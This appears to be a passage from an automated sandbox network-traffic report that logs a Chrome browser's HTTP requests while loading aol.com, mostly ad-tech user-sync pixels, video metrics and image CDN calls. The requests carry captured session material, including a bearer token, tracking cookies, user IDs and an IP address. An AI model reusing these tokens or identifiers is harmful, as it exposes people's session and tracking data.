Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=558355&ev=1&us_privacy=${us_privacy}&gpp=$&gpp_sid=$&rurl=https%3A%2F%2Frtb.gumgum.com%2Fusersync%3Fb%3Dpln%26i%3D%25%25VGUID%25%25 HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2F24ea2060-2fbd-11eb-b6fd-a6e16217c6e6&client=76f99bdb8f78cd44cc0b&signature=1419feb050e694c7a2754e158012c82126a1c217 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F515ef980-3432-11eb-b5ef-2a7f8e085664&client=76f99bdb8f78cd44cc0b&signature=d35cb23bd2a7d15db2b9b7fbe5c674ff1e2112a3 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_variety_168%2F86398a45e567bb803f18e1c898b80f4d&client=76f99bdb8f78cd44cc0b&signature=fa8a7e31abec34ce9bbd0b370082807b05100ca9 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&event=player_init&time=1716503696783&autoplay=false&seq=0 HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&usage=thumbnails!2.0.1&usage=qualityLevels!3.0.0&usage=qualityMenu!3.0.0&usage=inpage-embed&event=player_load&time=1716503696819&qos.events.content.volumechange=1716503696808&qos.performance.memory.jsHeapSizeLimit=2172649472&qos.performance.memory.usedJSHeapSize=11707090&qos.performance.memory.totalJSHeapSize=17147142&qos.performance.navigation.redirectCount=0&qos.performance.navigation.type=0&qos.performance.navigation.directedMigration=false&qos.performance.timing.loadEventEnd=1716503691360&qos.performance.timing.loadEventStart=1716503691359&qos.performance.timing.domComplete=1716503691359&qos.performance.timing.domContentLoadedEventEnd=1716503691322&qos.performance.timing.domContentLoadedEventStart=1716503691322&qos.performance.timing.domInteractive=1716503691322&qos.performance.timing.domLoading=1716503689981&qos.performance.timing.responseEnd=1716503689977&qos.performance.timing.responseStart=1716503689976&qos.performance.timing.requestStart=1716503689683&qos.performance.timing.secureConnectionStart=1716503688985&qos.performance.timing.connectEnd=1716503689683&qos.performance.timing.connectStart=1716503688984&qos.performance.timing.domainLookupEnd=1716503688984&qos.performance.timing.domainLookupStart=1716503688961&qos.performance.timing.fetchStart=1716503688945&qos.performance.timing.redirectEnd=0&qos.performance.timing.redirectStart=0&qos.performance.timing.unloadEventEnd=0&qos.performance.timing.unloadEventStart=0&qos.performance.timing.navigationStart=1716503688944&qos.player.dimensions=%5B%5B1716503696819%2C%220x0%22%2C%22368x276%22%5D%5D&qos.player.pixelratio=%5B%5B1716503696819%2C1%5D%5D&qos.player.screendimensions=%5B%5B1716503696819%2C%221280x1024%22%5D%5D&seq=1 HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1 HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
Source: global traffic	HTTP traffic detected: GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.aol.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2022-08%2F42b48620-19dc-11ed-9def-335ff63bb2a0&client=76f99bdb8f78cd44cc0b&signature=0468b59009bf341c47eef19de48a359570b09e19 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-11%2F50be11c0-78ed-11ee-b7af-8321670771f9&client=76f99bdb8f78cd44cc0b&signature=7c9ec566c152b8d5ce6757c69659757d3e78e0a5 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&event=catalog_request&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353510307112&time=1716503697696&seq=2 HTTP/1.1Host: metrics.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?quality=80&thumbnail=300%2C300%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-05%2F6d3021a0-1900-11ef-bbe7-54c03d9b20b6&client=76f99bdb8f78cd44cc0b&signature=0f97af9efe0add39adc2bf15914aa82f4bf73c5e HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?cc=1&_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK
Source: global traffic	HTTP traffic detected: GET /usersync/gumgum/?cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__&gdpr=0&gdpr_consent=&puid=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&s=2&us_privacy=1YNN HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zuid=Ldu6nP-f8GRn9WiN8PL4
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dapn%26i%3D%24UID HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=gumgum2&user_id=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503696
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=gumgum_dbm&google_hm=ZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWM=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=sta&i=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=86709109&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=oth&i=y-BSMCIFhE2pcm2NCXOZVvX6OjZ.YQy641a2GU~A HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /usersync?b=vnt&i=6a235f9e-9b26-4d12-95f6-f4919d5fecf1 HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /playback/v1/accounts/6415665815001/videos/6353510307112 HTTP/1.1Host: edge-auth.api.brightcove.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://s.yimg.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync?b=pln&i=7WXU1ZUhF2Kx&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 HTTP/1.1Host: rtb.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /ebda?sync=1&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAEYBSgCMgsI4tre9-ng_TwQBTgB
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&event=player_init&time=1716503696783&autoplay=false&seq=0 HTTP/1.1Host: metrics.brightcove.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&usage=thumbnails!2.0.1&usage=qualityLevels!3.0.0&usage=qualityMenu!3.0.0&usage=inpage-embed&event=player_load&time=1716503696819&qos.events.content.volumechange=1716503696808&qos.performance.memory.jsHeapSizeLimit=2172649472&qos.performance.memory.usedJSHeapSize=11707090&qos.performance.memory.totalJSHeapSize=17147142&qos.performance.navigation.redirectCount=0&qos.performance.navigation.type=0&qos.performance.navigation.directedMigration=false&qos.performance.timing.loadEventEnd=1716503691360&qos.performance.timing.loadEventStart=1716503691359&qos.performance.timing.domComplete=1716503691359&qos.performance.timing.domContentLoadedEventEnd=1716503691322&qos.performance.timing.domContentLoadedEventStart=1716503691322&qos.performance.timing.domInteractive=1716503691322&qos.performance.timing.domLoading=1716503689981&qos.performance.timing.responseEnd=1716503689977&qos.performance.timing.responseStart=1716503689976&qos.performance.timing.requestStart=1716503689683&qos.performance.timing.secureConnectionStart=1716503688985&qos.performance.timing.connectEnd=1716503689683&qos.performance.t